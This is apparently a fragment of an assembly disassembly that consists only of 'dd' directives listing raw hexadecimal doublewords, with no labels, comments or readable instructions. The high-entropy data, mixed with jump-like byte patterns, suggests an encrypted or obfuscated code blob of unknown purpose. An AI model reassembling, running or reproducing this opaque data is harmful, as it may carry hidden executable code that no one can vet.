		dd 0B7129AB1h, 61A1C0F0h, 0B41BE1A2h, 32D5A4B0h, 6956D5B1h
		dd 3E1361D0h, 3611FC48h, 22133149h, 32565458h, 3484F1B1h
		dd 0D1556F9Bh, 22BF3E26h, 9A56D5B1h, 903A05F7h,	5A7C63E9h
		dd 0F1340BC5h, 0BB5E6FEAh, 3DAEA2F6h, 32565F3Fh, 30DBA4B1h
		dd 5256D5B1h, 261361D0h, 0D3D713D1h, 0FAD78FE8h, 663D980Eh
		dd 324547D0h, 52AE57B1h, 44DFAA50h, 0BDEB09BDh,	0E8E5501h
		dd 7BBA0FBAh, 22113363h, 32565658h, 8C61D7B1h, 25E8A99Fh
		dd 0ABA00508h, 3D36B5D0h, 3256EA32h, 32D37AB1h,	5356BAB1h
		dd 0FB37A43Ah, 325D24BEh, 34BF57B1h, 8956ABB1h,	0EDEA35Ch
		dd 324628EAh, 3251F0BEh, 0B236BAB1h, 1BE72C50h,	35BFCED0h
		dd 0B55657B1h, 0A2E77931h, 0B3590F23h, 3256EAB9h, 3254FDBEh
		dd 5336BAB1h, 24E7D877h, 0CE11A818h, 25254DD9h,	33D6A419h
		dd 0C756D5B1h, 22E35F4Eh, 54367318h, 0E2CE7B30h, 5389D6D7h
		dd 41AA2B3Ch, 3D36511Dh, 3D366D06h, 3256D534h, 0CD378BB1h
		dd 0CE048D61h, 0B353303Ch, 35BF5B1Eh, 0B456AEB1h, 0EF18CC19h
		dd 3D364E54h, 3256D73Fh, 3DA861B1h, 6337BC06h, 324B30BEh
		dd 0B6595DB1h, 3256AEA6h, 32564558h, 686F71B1h,	82A925EFh
		dd 0A04CC87Eh, 1E74545Dh, 0CD9658AEh, 3D363D61h, 3256AE3Bh
		dd 4984D6B1h, 532CE5D6h, 53A85ED7h, 325F03EBh, 0E47F75B1h
		dd 1E5BB5F6h, 0BF86A2E1h, 9DD7AB33h, 8559ABB7h,	0B9AAA7F1h
		dd 0BB592969h, 3256EABDh, 3250F8BEh, 0B159BAB1h, 32565DB1h
		dd 325F47E3h, 0DEA357B1h, 311C3CE3h, 3D4045C4h,	3256EB31h
		dd 3598DB1h, 30D2B5D1h,	52565DB1h, 0AFB62FD0h, 531E6430h
		dd 0F15552EBh, 325E5DBEh, 0B059EAB1h, 325675B3h, 0B0DFDBD1h
		dd 34FF4068h, 35BFCF44h, 0D05657B1h, 0EE6DDF4h,	0DB955412h
		dd 3256EAA0h, 7A8E4EBCh, 0DC54697h, 0CBEDC0C6h,	86BAF9D2h
		dd 52FC516Ch, 0E8F9h, 815A0000h, 0AFCB79EAh, 800FF806h
		dd 17h,	12E9h, 0BD902200h, 0D36315DBh, 0CBB35CCCh, 86BD9D59h
		dd 60B5C5F1h, 68ADB866h, 8F0Fh,	52610000h, 12860Fh, 0DE90000h
		dd 5A000000h, 406A71C7h, 79193634h, 0AA9200F0h,	1DD9828Bh
		dd 9E906A9h, 0F4000000h, 0B901716Ch, 7536BE0h, 0C64E6DB9h
		dd 0E1F7F541h, 13E9F8h,	0AA620000h, 8CC636CBh, 18EAC0DEh
		dd 0C76BE4B7h, 34C53638h, 5F55AE5h, 3039h, 0FFFF25FCh
		dd 66607FFFh, 75BEF08Bh, 613F9816h, 1DD98289h, 0F6006A9h
		dd 0C89h, 7E900h, 4D170000h, 0E886E2DDh, 61D48AF3h, 0E959FC5Ah
		dd 0Dh,	4CBCCAF8h, 7B9F2425h, 28E81EAh,	0E960C370h, 0Ch
		dd 9E0871D5h, 0A3408FCDh, 0F33E03A5h, 606175B2h, 6E9F5h
		dd 4B2F0000h, 8137E2B4h, 0F8605161h, 0E8F55261h, 0
		dd 6FEA815Ah, 6006AFCCh, 0E681F98Bh, 7416E6ABh,	0C88BF861h
		dd 0FEE7E8F5h, 840FFFFFh, 1, 0F5D233FCh, 0BE60F1F7h, 1723015h
		dd 6E9h, 0E9FDCF00h, 612A7187h,	5AF5C28Bh, 0C18B6660h
		dd 61D2BF0Fh, 0FC3FC59h, 787h, 18C0F00h, 0F8000000h, 7E9C08Bh
		dd 30000000h, 6735B366h, 0C08B77F9h, 69B86060h,	61233FCEh
		dd 0BEBBE381h, 8D615FE3h, 0AF95A285h, 8E906h, 601E0000h
		dd 0A6878897h, 0D0FFE537h, 118C0Fh, 0CE90000h, 6000000h
		dd 67BDC4C5h, 813BF4F1h, 6612236Dh, 8DFCC18Bh, 0AFCB7085h
		dd 7E906h, 0F2C0000h, 7A8CA218h, 0F58589C7h, 6006A912h
		dd 8158F957h, 0BFF26FD8h, 858D6122h, 6AFCC64h, 9E9h, 9DF9ED00h
		dd 0CD04C81Dh, 8589A38Dh, 6A9215Dh, 0DE9h, 0FD4B6600h
		dd 34F6D38Dh, 5B9C1B5Ch, 0B8CBA5h, 0F5000000h, 0FC00BFCh
		dd 19D84h, 1840F00h, 0F9000000h, 16B185C6h, 0F95606A9h
		dd 0C530DF68h, 11E9A9h,	8260000h, 0B3E0713Dh, 498E568Fh
		dd 0BC435CFCh, 0FE32B37h, 1C8Dh, 16890F00h, 0E9000000h
		dd 11h,	1AF5B288h, 920FC6CBh, 4095DF8Fh, 22A0D269h, 0B5B5FF35h
		dd 0FC06A910h, 73FC858Dh, 0FFF906ACh, 0DE9D0h, 8250000h
		dd 4610EE72h, 40A20487h, 0F89482BCh, 188C0F50h,	0E9000000h
		dd 13h,	1A1397E1h, 71046CF9h, 0C7D70689h, 0F2D38964h, 8D426D66h
		dd 0A901618Dh, 9E906h, 0F0810000h, 447E72F8h, 60D4E542h
		dd 81D98B66h, 0B84B99EAh, 0E951615Ch, 14h, 93B34475h, 7BF53D24h
		dd 246B9348h, 707F0795h, 0E5076BA4h, 8B0F046Ah,	1, 100068F9h
		dd 8C0F0000h, 18h, 13E9h, 0C29A6D00h, 159763B9h, 3F01FF07h
		dd 7F151F15h, 4A80CF7Eh, 34C9B5FFh, 0BE906A9h, 94000000h
		dd 39D8320Bh, 137A00C8h, 0D0FF114Fh, 0C9BD8BF9h, 0E906A934h
		dd 7, 0F3E0B1C2h, 0E996A7E4h, 14h, 21DA2582h, 2C2FEC80h
		dd 0EEB4677Ah, 8ED512A2h, 1676430Eh, 0F3C7F03h,	178Dh
		dd 12E900h, 0C2AE0000h,	456E7F85h, 254467CAh, 0C63062ECh
		dd 3A8F4756h, 0F8C781h,	0BF600000h, 2C215919h, 5E960h
		dd 77080000h, 0F9D20A6Ch, 66606161h, 817CD381h,	0F7E6BE66h
		dd 2447C761h, 60000020h, 14810Fh, 0FE90000h, 69000000h
		dd 0E83361C4h, 8CF4C4B6h, 1892EEE4h, 9D8DFACFh,	6A91DF9h
		dd 9820Fh, 0B9600000h, 17EBFD88h, 8B615950h, 0C00BF503h
		dd 28840Fh, 850F0000h, 0Dh, 8E9h, 92A51000h, 311641DDh
		dd 0B1B760A3h, 8B61FA8Ah, 0C18B6000h, 14E78166h, 43896115h
		dd 0F6B9F504h, 0E800234Ch, 5, 23B1979Fh, 85B866F6h, 880F5BFEh
		dd 3, 81D0BF0Fh, 70CFC3h, 45BF6000h, 0BB51C581h, 63076052h
		dd 8A9BBE61h, 0EE817BD2h, 7BD26E8Dh, 33FF95B0h,	5E9h, 0F3F08200h
		dd 8A59D274h, 0C2F181C5h, 817682FBh, 0B0CE71DAh, 97C18156h
		dd 0F3768A8h, 0C88h, 6870F00h, 0F000000h, 80h, 0FAC18100h
		dd 660CA164h, 0DD5EC881h, 0F9B70F51h, 8B0F038Fh, 5, 0E9C08166h
		dd 4EB837Ah, 28F0Fh, 0D0B20000h, 1EE81h, 850F0000h, 0FFFFFF9Ah
		dd 8D76E480h, 0AFD0BA8Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9D8BA06Fh
		dd 6A90271h, 16CD8D89h,	6A06A9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0E7FE09C3h, 2C3A90A9h
		dd 6D23BF57h, 85C74360h, 6A90CE5h, 7248h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 6FC35040h, 544538CCh
		dd 2A770629h, 0FFF681BFh, 0C72CC7ADh, 0A911CD85h, 6, 0BD315300h
		dd 6A92119h, 8166605Eh,	61A451EEh, 3171B5FFh, 3BB06A9h
		dd 0FF33E45Fh, 0A9328195h, 0FFB70F06h, 95FF006Ah, 6A92D95h
		dd 7AEBC08Bh, 97C9E88Ch, 0E455832Bh, 0CF938C11h, 0B8B21D4Fh
		dd 5E76FB2Dh, 93942EF4h, 9A002837h, 93BBCA7h, 46FE06AEh
		dd 127AC955h, 7C27C1DDh, 83090653h, 0F699CB73h,	6C7ECAA2h
		dd 0C17B0C43h, 0DC152A55h, 15A370D4h, 7276F71Bh, 657D653Ch
		dd 22BCE094h, 0BD3324F9h, 9B85E6CCh, 92A6B875h,	0AA8F3780h
		dd 7D1E96B6h, 41F6C650h, 0B2298879h, 221741ECh,	75798492h
		dd 862546CEh, 8D8D01A9h, 6AFD1F0h, 7D97BA66h, 16CD8D89h
		dd 15206A9h, 0A932B1BDh, 85C75806h, 6A90CE5h, 5C5Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 14C35343h, 0B53117D1h
		dd 6A90C69h, 11CD85C7h,	6A9h, 0B50B0000h, 6A92A7Dh, 17D1B5FFh
		dd 6A06A9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 18BE7EC3h, 0FF3E6A0Fh, 0A9328195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 6F91572Eh, 3840Fh, 0CE800000h, 0C3816664h, 6ACBA2h
		dd 2D9595FFh, 0C08B06A9h, 0B73158EBh, 8A4EBED7h, 73C8321Bh
		dd 3A6F5B7Eh, 840EC961h, 85E1BCF5h, 2CF424DCh, 1C18B909h
		dd 0E5EF077h, 3C94D193h, 951EBEA7h, 2D45E339h, 78AFE186h
		dd 93FA93A9h, 0BFD2AE1Dh, 0F9B5030Ah, 752DBA95h, 10F14B1Ah
		dd 65AADC63h, 399DFDDBh, 58B39B1Bh, 0BB279621h,	0DE8EFBBh
		dd 9B000000h, 0D992E96Eh, 99EBB860h, 6FFA77D6h,	5AC88B66h
		dd 2145858Bh, 0C28106A9h, 5BB9h, 880Fh,	680000h, 5E000000h
		dd 758529h, 34FF06A9h, 8F0F5B16h, 4, 9D2EB866h,	37A6F381h
		dd 8D0F3AE0h, 6, 2A01BD31h, 0EB8106A9h,	460E4922h, 0D48BEB81h
		dd 0CE9241Ah, 7F000000h, 34632850h, 6D1CCE2Bh, 53E459D0h
		dd 33F1858Bh, 48F06A9h,	0C98D8B32h, 0F06A905h, 0EE83C2B7h
		dd 2D852903h, 4E06A900h, 7A98509h, 0FE8106A9h, 0FFFFA4E4h
		dd 0FF94850Fh, 0B589FFFFh, 6A90379h, 34E9h, 0C4122F00h
		dd 61h,	0Bh dup(0)
		dd 4E0E900h, 0CC640000h, 58F59B98h, 0E67F2522h,	6B09AFACh
		dd 0FC963C39h, 9490CBC8h, 1B184CE6h, 0A6A3D975h, 2E2B6500h
		dd 0BAB7E988h, 0B442D064h, 0E4F5F442h, 94335371h, 0AF49CF62h
		dd 33D27875h, 0C3568E2Ah, 40D26514h, 4FE21EB8h,	0F7963EA0h
		dd 0FAC32C5h, 69FB4ADDh, 9D3942E1h, 7625D467h, 0A501D82Dh
		dd 14769F8Fh, 630245AFh, 0F38E3431h, 831EC4C1h,	9C38BE51h
		dd 6BCED568h, 8B2AB201h, 0B44FF759h, 38D77D7Ah,	0DAE77306h
		dd 82FCA323h, 74A846CEh, 8347AD12h, 0A6B80D6Fh,	28EF87D2h
		dd 0CF184AE3h, 0C3258606h, 6963h, 94332300h, 0B143CF62h
		dd 0DFFCA415h, 76C1327Ah, 0CC1E17F3h, 0A4C92BDEh, 0A6B8BD4Eh
		dd 147h, 96330700h, 29BCEE8Dh, 9C5AE87Ah, 0FCFCA415h, 760A9C4Bh
		dd 15A254E2h, 4DFEFCA4h, 0A41635C1h, 50B263FCh,	4278159Bh
		dd 598B29AFh, 0D067CC7h, 1FBE0C53h, 76B908BDh, 9935BD0Eh
		dd 0BC590163h, 2CDB15AFh, 0B8EA892Fh, 99337DBBh, 1600F684h
		dd 0EFA0FCA4h, 8A26AE40h, 0B53BF052h, 550E218h,	4500E50Bh
		dd 0CF84E67Ch, 8320A83Ah, 228AEF51h, 9F3A43DDh,	28BBF18Eh
		dd 8837CA79h, 9736DCD9h, 0B34CD265h, 6CCFEE81h,	40C04200h
		dd 49F5A6B8h, 0B5000000h, 0D4679933h, 0ED7FB54Eh, 3193C965h
		dd 82EA2D7Ch, 0DF71A33Dh, 2183BD57h, 8EC25C02h,	0A5D775FBh
		dd 0C66BC813h, 0E6CB926h, 75D8F7ACh, 71B74B0Fh,	3EFEA6B8h
		dd 0BE000000h, 0D4679933h, 0EE81B34Eh, 0B51A62C5h, 0AEECE91Bh
		dd 0D2649633h, 509B1F87h, 0F05211D9h, 9612AF3Bh, 0E54AFCA3h
		dd 8A42C9Fh, 42B442D4h,	5EFCA396h, 0CC264BADh, 0C9A6B880h
		dd 1, 689A3389h, 7EB04FD5h, 3B81E4EBh, 77093BD4h, 0B847912Ch
		dd 0C12343C8h, 4AA61CA2h, 0C9D72AB8h, 5E0FF27Eh, 74A645CBh
		dd 36C04EE2h, 62F5FAD3h, 0BC21D317h, 0C1705E8Bh, 68E405Fh
		dd 8AC6606Dh, 32D179DBh, 13E16D00h, 0B4F5FA63h,	5A4EB51h
		dd 0D924D6D3h, 6EC38A76h, 8B339579h, 1446E3ECh,	9023D281h
		dd 0A7396B0Ah, 0DD1BCF5Ch, 89C71042h, 893EA0B2h, 0F84BB1F4h
		dd 0C9FD170h, 0B453FB5Dh, 0FB0AF9E8h, 63E12A5Ch, 16B43A9Eh
		dd 0F1A04FE2h, 7F21D1F4h, 3574A00Fh, 0C0000001h, 3659F38h
		dd 0AA6F53C3h, 9544D70Dh, 4BC654E6h, 1BF27F36h,	0B644D86Ah
		dd 0F5FAF640h, 984DAF60h, 44417312h, 3ACDFF9Eh,	51E315B4h
		dd 0C4A4C906h, 67ED8F16h, 520194CEh, 63A63BF0h,	0E517B619h
		dd 32DC5E8h, 5F68A00Fh,	28000000h, 0E7049F27h, 0A4159D59h
		dd 9B4AFBFCh, 4622B139h, 0CE91F8DCh, 14A6551Dh,	0D404F280h
		dd 0E394FCA3h, 2B8DBF5Dh, 0D3EDE977h, 0A32B7CA3h, 9427D608h
		dd 0A458EE08h, 0E54F947Ch, 5FF111C2h, 0DDA943CBh, 7DFC89AFh
		dd 0DD6F1EEFh, 0A4C4A74Fh, 0DE40F17Ch, 0A4C4A630h, 4441F2FCh
		dd 8B03h, 6F53C500h, 105BEF81h,	0B188CB89h, 6A187AB8h
		dd 0F27E5ADBh, 0A7DD7901h, 871ACB45h, 33306201h, 29BCEE8Dh
		dd 0FA26229Dh, 0E24AADF5h, 3ACCFE9Dh, 49DC18B2h, 44F325C3h
		dd 0C611C3E2h, 0FCA6FCEBh, 0E169CB71h, 0F57D0FE1h, 4C95285Ah
		dd 0CF1D6A74h, 258736C7h, 0B855DD71h, 58722082h, 0B0EBCBBBh
		dd 47E66CFFh, 0DC6FA53Eh, 0E4EB7E2Dh, 0B391E732h, 38EF0795h
		dd 0F8A9FC9Dh, 3EE8DBAFh, 0EA0D77DCh, 0F88618D8h, 0F26E3FD2h
		dd 3A787526h, 0EF816F53h, 74E46961h, 7B0EBFF2h,	922456F5h
		dd 0A134700Ah, 9BCD6CF2h, 1D681A39h, 339F3F4h, 0CA58EA25h
		dd 0F5F4AE2Ch, 0B159BB6Ch, 32700912h, 0AE41F09Fh, 81753F22h
		dd 275DF98Eh, 3C700E94h, 0AD175AA9h, 45AFF241h,	34316302h
		dd 2ABDEF8Eh, 3FD206A4h, 286FD538h, 0A85A5789h,	0BC4F8120h
		dd 6403AB0Dh, 0C7E9F32h, 40000000h, 0EA6EB94Dh,	63221762h
		dd 3367A709h, 50D6699Bh, 66EC7FB1h, 800699CBh, 971DB0E4h
		dd 0AA30C3FDh, 0BB41D410h, 0D258EB1Dh, 0E268FB39h, 2A7C0F45h
		dd 3E4C68h, 240C8900h, 0C181E189h, 4, 8704E983h, 515C240Ch
		dd 0C181E189h, 4, 4E981h, 0C870000h, 3C895C24h,	0AD26824h
		dd 0C890000h, 0FFBD5524h, 51711238h, 0F4341DB9h, 59CD2941h
		dd 24ED814Dh, 81620866h, 0CD26D7E5h, 64ED8124h,	89FD5533h
		dd 0DD685DEFh, 89000070h, 4832424h, 57590424h, 6F243481h
		dd 8F2F1A05h, 0BD550841h, 720A08B5h, 0D9F58145h, 315D100Dh
		dd 8B5D0869h, 8951240Ch, 4C181E1h, 83000000h, 0C8704C1h
		dd 34FF5C24h, 0C4835F24h, 0A7CFE904h, 0DA47FFF9h, 6BB8314Bh
		dd 306AFD7h, 0A0E0FFC5h, 860AEB1Bh, 0BE59169Fh,	0EF3FFEB5h
		dd 5429D45Ch, 0CB714AF2h, 0A866C97Eh, 0A6409012h, 2735697h
		dd 986D1569h, 916ED267h, 0A2E7E90h, 452C2446h, 0EE551A52h
		dd 21149D06h, 0CC1AEA62h, 2A191030h, 2629E937h,	0CE187B51h
		dd 7173CE25h, 0D3239192h, 0FA10503Fh, 0D332AD28h, 3506CF34h
		dd 7326BE7h, 0DF282ABFh, 1D152631h, 202716Bh, 1D35ED72h
		dd 0E9631BE2h, 38h, 14B4AA8Ch, 0Dh dup(0)
		dd 466E9h, 0D9AB6800h, 2E906AFh, 68FFF9A7h, 6AFDA2Ch, 0F9A6F8E9h
		dd 0DBA168FFh, 0EEE906AFh, 21FFF9A6h, 0A84E4B89h, 36DCD90Bh
		dd 0C46A679Dh, 4FF5F226h, 437E7BB5h, 0C5FF99E1h, 4E8622C8h
		dd 0DE10AB51h, 6A9C3BE1h, 0F583176Dh, 0F5F43E01h, 330E2C9Fh
		dd 4ED46799h, 0FA807DAFh, 89628C8h, 0F27F3949h,	0D25AEC9Dh
		dd 0E499FB39h, 0FAE76A58h, 68D437F5h, 0FD148AAh, 2D24DA0h
		dd 90D0000h, 866A58CCh,	20AB66F4h, 0B941F27Fh, 0B85E71Dh
		dd 0A5A4525Ah, 0E3F4925Ah, 0F77F11DFh, 7AB04D5Eh, 278938E7h
		dd 0BA57DF73h, 0A5DF17A5h, 8B900D7h, 5C49F759h,	3CF6B2A4h
		dd 3092F88Bh, 0F8A02EC0h, 24F519D9h, 0BA59E173h, 0D06EF688h
		dd 0F85A099Ch, 629433D9h, 0D82CFCEBh, 0F91AAF72h, 2F4h
		dd 110E46DEh, 9F9CCE6Bh, 252260F9h, 0B2AFE17Fh,	413E720Ch
		dd 0C25C1E06h, 4FEB918Eh, 0DF7A201Dh, 6302A8A5h, 4ADE3431h
		dd 0F43D3ABCh, 0D5F366F5h, 0EF816F53h, 74EF0661h, 36C458F2h
		dd 0F5F43DC0h, 53CD2FE0h, 0EE8810A2h, 0FA9820B2h, 228433C6h
		dd 91C35D03h, 4AD86CFEh, 0F5F43DACh, 3D4C34FBh,	439B907Ch
		dd 0BDD4992h, 94784FAAh, 303B8432h, 0CA69F5F4h,	7BDC2198h
		dd 46DB7044h, 27325h, 8DC75F00h, 174DEA90h, 0A9DB741Ah
		dd 346806ACh, 0BDF79137h, 0DB9F85C0h, 6C120F41h, 0F99F9CD0h
		dd 8127245Eh, 5DB3B0E2h, 3BBB3BC9h, 72E5F5F4h, 816F5354h
		dd 0EF0661EFh, 0E192F274h, 0F42EC74Fh, 0C34BDD92h, 0B564F729h
		dd 3D1DA553h, 0D284F5F4h, 3D46B03Eh, 8524F5F4h,	0B911C053h
		dd 0FB41A608h, 92BDB17h, 186BAA0h, 277A0000h, 8B683EDCh
		dd 33C526DEh, 0A3AD51A5h, 3C9E4FFCh, 30C3F594h,	0DCD90BAAh
		dd 7402962Ah, 0FCA3AD82h, 15E16D1Eh, 83FCA3AEh,	44B240D2h
		dd 54FCA3ADh, 9B941A3h,	16C755E7h, 72F27EBDh, 20A22EC1h
		dd 81F5FA9Ah, 1A65D61Eh, 290738Ch, 0F5FAF8F4h, 7DAAF3A4h
		dd 0DB0062D6h, 0A00FC917h, 0CB09A22Ah, 0C7278938h, 33h
		dd 816F5387h, 97C967EFh, 3FF35504h, 7F22E0B1h, 0E47728F2h
		dd 0FB016A58h, 0FD8537F5h, 6151935Fh, 496AE23Eh, 69D3389Ah
		dd 0F7B49A9h, 0A94CA0h,	270C0000h, 3DD0029Fh, 0E5842C8Eh
		dd 9A20B3h, 0CAA32C4h, 7FB552D8h, 26DB3DECh, 5CF801A0h
		dd 0D103A228h, 4DE08F3Eh, 0F9F628C7h, 0A412D34Dh, 0AEE07FFCh
		dd 0C5F7941Ch, 2218332h, 18AA467Ch, 70BFAF8Ah, 24B667F2h
		dd 5DEB029Ch, 0F5F86099h, 60B73FCDh, 30E1F5F8h,	7B7827D8h
		dd 216F3BD5h, 4C966E86h, 0CC2FA655h, 0DF8FBFC4h, 0FE294Ah
		dd 3CD40000h, 0C8650B08h, 56EF9592h, 0DB791F1Ch, 6C06ACA9h
		dd 24003B38h, 8B88BC56h, 161349E5h, 9E9BD570h, 2A2759F8h
		dd 44B240D4h, 54F5F43Ah, 9933C3E1h, 25C46A67h, 33B8F6F3h
		dd 49CF6294h, 0F57B78AAh, 7EB24CCDh, 53AF3DCFh,	95F27F57h
		dd 30CA52E4h, 774BF7F4h, 0B7F5FAC8h, 15DBEC6Ch,	71F75D30h
		dd 5C0B9ED4h, 81B352FAh, 1044DE84h, 8A5C7Dh, 22AA0000h
		dd 0AEEE5084h, 0EF816F53h, 537D35Bh, 0B361C372h, 0F274EEB0h
		dd 2881BCCh, 0B8209763h, 991DD2F1h, 36C458EAh, 0F5F4B2C0h
		dd 86DE16B2h, 0A25473D5h, 416B5057h, 1AA81174h,	0F5F497DCh
		dd 0FA5C0BBCh, 0EE81B352h, 0D1029562h, 7DC70AC7h, 4C497B1Ah
		dd 64F207A6h, 0E7F00C92h, 1BAE5D0Eh, 89DC3E89h,	88B4A1A1h
		dd 0ACE07E26h, 0C6F89319h, 0E113AD33h, 519BE04Eh, 115BBEC5h
		dd 0E0DD0FAEh, 0D6699B3Ah, 3B5h, 2D4D7700h, 0D6699B33h
		dd 0EC7FB150h, 699CB66h, 1DB0E480h, 30C3FD97h, 41D410AAh
		dd 58EB1DBBh, 68FB39D2h, 7C0F45E2h, 78DC682Ah, 14890000h
		dd 4EC56824h, 1C890000h, 65D46824h, 14890000h, 0BA525724h
		dd 6AFD8EEh, 895AD789h,	8B545FFBh, 0C4832414h, 81535604h
		dd 6FA82404h, 815E5F2Ch, 2C6FA8EEh, 872895Fh, 24148B5Eh
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 50241C8Bh, 405E089h
		dd 5000000h, 4,	5C240487h, 0F9A2ACE9h, 779CD7FFh, 0B8452C70h
		dd 6AFDCC4h, 0E0FFC503h, 3EB0EE05h, 3CFC2EAh, 71B7DC6Bh
		dd 2505079Dh, 19B1F707h, 7F80D937h, 88CF28Ch, 64B0A4F9h
		dd 1429DA5Eh, 4F6C46D5h, 12327AE2h, 57C2910Eh, 77448C2Fh
		dd 5D92B8DEh, 3DC55241h, 21A4CD91h, 883DD91h, 27A70D41h
		dd 7CEA1E42h, 0DE3F8D8Dh, 6A06AFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 96B359C3h, 0D96E8B71h
		dd 8976E494h, 0A91D7985h, 0CD8D8906h, 8B06A916h, 0A931D1BDh
		dd 0E585C706h, 8C06A90Ch, 6A000071h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 99CBC350h
		dd 85C7A2F6h, 6A911CDh,	0
		dd 5116DCBBh, 25B5FF20h, 8906A928h, 0A906618Dh,	8195FF06h
		dd 6A06A932h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 1DADC351h, 0ACE58AD8h,	8AD4193Bh
		dd 0FF006AFEh, 0A92D9595h, 0EBC08B06h, 3D86713Bh, 7EBA2C6Fh
		dd 0C701F7DCh, 5227477Eh, 2C95A3F0h, 110AA538h,	0C78F8A7Ah
		dd 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh, 9D5D6186h
		dd 0F76359D9h, 0D2EE24AEh, 0BAA22FFh, 13E9h, 5AEBC500h
		dd 0Ah,	3 dup(0)
		dd 0AC0E9h, 0E0526800h,	71E906AFh, 68FFFA6Bh, 6AFE157h
		dd 0FA6B67E9h, 0E31F68FFh, 5DE906AFh, 68FFFA6Bh, 6AFE42Dh
		dd 0FA6B53E9h, 0E54A68FFh, 49E906AFh, 68FFFA6Bh, 6AFE6D8h
		dd 0FA6B3FE9h, 0E7E568FFh, 35E906AFh, 68FFFA6Bh, 0C2F72FBFh
		dd 1A4F8717h, 6FA4DC6Ch, 0C2F72FBFh, 514D8515h,	0BE4EFB4Ch
		dd 15A55186h, 69F9A8DDh, 0C252FC31h, 52B7468Ah,	1FAF2D39h
		dd 0C734C106h, 0AF2DC962h, 3FD4161Fh, 7ADF4CEFh, 1900F3E1h
		dd 9BED7D2Bh, 5A496B3Ah, 7CDE21E4h, 7CE97927h, 0CA74A73Ch
		dd 2D60CD3Ah, 0C760C582h, 141900C1h, 0C30370D2h, 0CE51FB2Eh
		dd 0E1218E1Eh, 4F98477Fh, 0D264C958h, 311FAA34h, 4FBC4CFCh
		dd 0B6E47DE2h, 0EF311FA9h, 699C2B8Dh, 4C972CBCh, 0A9B632E7h
		dd 83CA671Fh, 41BF893Ch, 3302ADh, 0C920000h, 1166ADDBh
		dd 6EF06C45h, 0E1B10AEDh, 197B9575h, 0D321258Ah, 0D1061FAAh
		dd 0E8289525h, 0E7B41986h, 341FA91Bh, 5609B697h, 0CFAD4266h
		dd 0D8h, 1FDC865Fh, 0F3344DB2h,	0BF011900h, 0F31F38h, 8B7EC19h
		dd 47B41678h, 6AD76714h, 6EFD8D37h, 0F3839C01h,	0E501900h
		dd 8EC12E79h, 0A6E653E3h, 8015A551h, 0DB13A34Dh, 0F89174h
		dd 0B545EF19h, 0E9E487Dh, 0B4F3F4A1h, 0E64BB825h, 1900F64Dh
		dd 5EC3589Ah, 1FAA1204h, 0E67FE453h, 0F61FA9DAh, 0A9DAF891h
		dd 0B103451Fh, 26D50D6Fh, 0EA57E6C1h, 0A9DAEC85h, 5A04391Fh
		dd 66D368CAh, 58EB001h,	3CCB0D19h, 60F09CCFh, 5BEB98CBh
		dd 0BE41EE23h, 0E71D7F0Fh, 0F5EDCCBDh, 5A289401h, 0D8000008h
		dd 32679F2Fh, 8ABFF787h, 0DF144CDCh, 32679F2Fh,	0C1BDF585h
		dd 2EBE6BDCh, 8515C1F6h, 0D969184Dh, 32C26CA1h,	0C227B6FAh
		dd 1FAF13A9h, 86C13176h, 0DC1149D9h, 186AA232h,	3DCCDB0Ch
		dd 1B3C30DEh, 3CD1EFD3h, 6DFC6ACFh, 94B1FAAh, 8D62379Ch
		dd 1AB71FA9h, 0FCD98C33h, 0ED20AD41h, 0E01BB040h, 0E0h
		dd 76ED4C70h, 0CF6355D1h, 0E38DC055h, 6B3E653h,	0E143D383h
		dd 27D40774h, 0CE9D0297h, 18190021h, 1C4FDE6Eh,	370DD6Dh
		dd 2D859Eh, 0AE105219h,	2DA1BA1Fh, 2C6E1900h, 0A24C8197h
		dd 0A2508312h, 0D338A512h, 19002DBAh, 4EE34587h, 16915603h
		dd 0C9C82287h, 0B6171FAAh, 0C6DA7003h, 378D9D60h, 1062167Ch
		dd 0A1BA1FAEh, 6E1FAA01h, 2392CA2Ch, 0FA861FC4h, 2CC19AC3h
		dd 0B03F687Fh, 6F3F54Bh, 75044619h, 0B208CB16h,	0D469296Bh
		dd 0F7873467h, 4DDD8ABFh, 0EBC27717h, 62CE3BF5h, 755h
		dd 6CA434DDh, 0C4FC8C37h, 1951E18Fh, 6CA434E4h,	0C2FA8A37h
		dd 0C370D1C6h, 1AC6FB33h, 6E1D528Ah, 0C771A6DEh, 2CBBFF37h
		dd 0AF12AEC7h, 0C6367B1Fh, 1149D986h, 13A232DCh, 36A333E0h
		dd 0F94B61F6h, 0DF4CDC86h, 3933F72h, 8EC15696h,	6D1C54E4h
		dd 0F56F0E7Ah, 0E24FDF8Ah, 5E7121A2h, 298E1D7Fh, 1FAAF5E1h
		dd 6C9F0C4Eh, 0C5FA32C2h, 0C9FC8B1Bh, 5BEB9A1Dh, 0DF4CAEEEh
		dd 5ABF0A9Fh, 0A6ED04DCh, 7DEA7A28h, 9E0B9B4Ah,	39BB920Dh
		dd 3DEA1D8Ah, 0C6021B80h, 8DCF94F0h, 297EBE2Bh,	3D7DEA7Ah
		dd 0E1202DA8h, 3A6FA737h, 2E930090h, 94F0C668h,	309D2DDCh
		dd 52BF4FFDh, 8313BD12h, 0A838E316h, 0D14CFB3Bh, 4AC5787Ch
		dd 0EA57C403h, 0F0C6EC85h, 70F73994h, 94F0C6D7h, 1A4DE224h
		dd 73A8E070h, 67CC39C9h, 94F0C6B7h, 8BE645B4h, 0E4C67239h
		dd 91BC37CCh, 0CB64C936h, 1894F09Ch, 38A535E3h,	0CE0196F8h
		dd 275C9424h, 982CE7Dh,	491C5769h, 1ACD7AE7h, 3D99FE8Dh
		dd 0A925ADAh, 0EE2190C8h, 8010BD40h, 0BDC891Eh,	33A00D9Ch
		dd 991BB5CEh, 41D17F8Dh, 4294D4h, 0EDC4066Bh, 2E638B33h
